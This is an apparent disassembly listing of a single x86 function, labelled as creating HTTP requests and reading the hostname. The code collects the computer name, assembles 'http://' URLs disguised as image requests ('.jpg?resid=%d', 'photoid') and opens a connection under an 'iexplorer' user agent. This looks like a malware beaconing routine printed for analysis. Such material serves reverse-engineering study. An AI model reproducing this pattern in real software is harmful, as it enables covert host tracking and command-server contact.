Function at 0x401460
Capabilities:
Create http request
Get hostname

Disassembly:
push ecx
cmp dword [0x413d20], 0
push esi
push edi
mov edi, str.___x_7__3_x59_
jne 0x401480
call fcn.00401300
or al, al
jne 0x401480
mov dword [0x413d20], edi
mov esi, dword [esp + 0x10]
test esi, esi
mov dword [esp + 8], 0x10
jl 0x4014b7
cmp esi, 6
jl 0x40149d
cmp dword [0x413d20], edi
je 0x4014b7
lea eax, [esp + 8]
push eax
push 0x413d24
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
or eax, eax
jne 0x4014bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop edi
pop esi
pop ecx
ret
push ebx
push 0x413d34
push 0x413d24
call fcn.00401230
imul esi, esi, 0x1a4
add esi, dword [0x413d20]
mov ebx, esi
sub esp, 0xfffffff8
mov dword [str.___x_7__3_x59_], ebx
cmp byte [ebx], 0
je 0x40180d
push ebp
push 0xfa
push 0
push 0x413a20
call fcn.00403910
push 0xfa
push 0
push 0x413b20
call fcn.00403910
push 0xfa
push 0
push 0x413c20
call fcn.00403910
add esp, 0x24
mov ebp, dword [str.http:__]
mov eax, ebx
mov ecx, dword [0x40f278]
mov dword [0x413a24], ecx
mov dword [0x413a20], ebp
mov ecx, eax
mov dl, byte [eax]
sub eax, 0xffffffff
or dl, dl
jne 0x401540
mov edi, 0x413a20
sub eax, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
sub edi, 0xffffffff
test cl, cl
jne 0x401553
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebx + 0x32]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
or dl, dl
jne 0x401570
sub eax, ecx
mov edi, 0x413a20
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x401585
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x413d34
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4015a4
mov edi, 0x413a20
sub eax, ecx
lea esp, [esp]
sub edi, 1
mov esi, ecx
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x4015c0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x413a20
and ecx, 3
add eax, 0xffffffff
rep movsb byte es:[edi], byte [esi]
mov cl, byte [eax + 1]
add eax, 1
or cl, cl
jne 0x4015e0
lea esp, [esp]
mov ecx, dword [0x40f268]
mov edx, dword [str..jpg_resid_d]
mov dword [eax], edx
mov edx, dword [0x40f26c]
mov dword [eax + 4], ecx
mov cx, word [0x40f270]
mov dword [eax + 8], edx
mov edx, 0x413b20
mov word [eax + 0xc], cx
lea eax, [ebx + 0x64]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x401620
mov edi, 0x413b20
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x401634
lea eax, [ebx + 0xc8]
mov ecx, eax
mov dx, word [0x40f260]
mov word [edi], dx
mov dl, byte [eax]
sub eax, 0xffffffff
test dl, dl
jne 0x401650
mov edi, 0x413b20
sub eax, ecx
add edi, 0xffffffff
mov esi, ecx
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x401665
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x413b20
and ecx, 3
rep movsb byte es:[edi], byte [esi]
sub eax, 1
mov cl, byte [eax + 1]
sub eax, 0xffffffff
test cl, cl
jne 0x401685
mov ecx, dword [str._stype_dresid_d]
mov edx, dword [0x40f24c]
mov dword [eax], ecx
mov ecx, dword [0x40f250]
mov dword [eax + 4], edx
mov edx, dword [0x40f254]
mov dword [eax + 8], ecx
mov ecx, dword [0x40f258]
mov dword [eax + 0xc], edx
mov dl, byte [0x40f25c]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
mov eax, dword [0x40f278]
mov dword [0x413c24], eax
mov dword [0x413c20], ebp
pop ebp
lea esp, [esp]
mov eax, ebx
mov ecx, eax
mov dl, byte [eax]
add eax, 1
or dl, dl
jne 0x4016e0
mov edi, 0x413c20
mov esi, ecx
sub eax, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
sub edi, 0xffffffff
or cl, cl
jne 0x4016f5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebx + 0x96]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
sub eax, 0xffffffff
or dl, dl
jne 0x401715
mov esi, ecx
lea ebx, [ebx]
sub eax, ecx
mov edi, 0x413c20
sub edi, 1
mov cl, byte [edi + 1]
sub edi, 0xffffffff
test cl, cl
jne 0x401730
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x413c20
and ecx, 3
rep movsb byte es:[edi], byte [esi]
sub eax, 1
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x401750
mov ecx, dword [str._resid_dphotoid]
mov edx, dword [0x40f238]
mov dword [eax], ecx
mov ecx, dword [0x40f23c]
mov dword [eax + 4], edx
mov edx, dword [0x40f240]
mov dword [eax + 8], ecx
mov cx, word [0x40f244]
mov dword [eax + 0xc], edx
mov dl, byte [0x40f246]
mov word [eax + 0x10], cx
mov byte [eax + 0x12], dl
mov eax, 0x413d34
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x401798
mov edi, 0x413c20
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea ecx, [ecx]
mov cl, byte [edi + 1]
add edi, 1
or cl, cl
jne 0x4017b0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x413d58], 0
jne 0x4017ed
push 0
push 0
push 0
push 0
push str.iexplorer
call dword [sym.imp.WININET.dll_InternetOpenA]
or eax, eax
mov dword [0x413d58], eax
je 0x40180d
cmp dword [0x413d5c], 0
jne 0x401814
mov eax, dword [0x4129dc]
push eax
call fcn.00403e92
add esp, 4
or eax, eax
mov dword [0x413d5c], eax
jne 0x401814
xor al, al
pop ebx
pop edi
pop esi
pop ecx
ret
mov al, 1
pop ebx
pop edi
pop esi
pop ecx
ret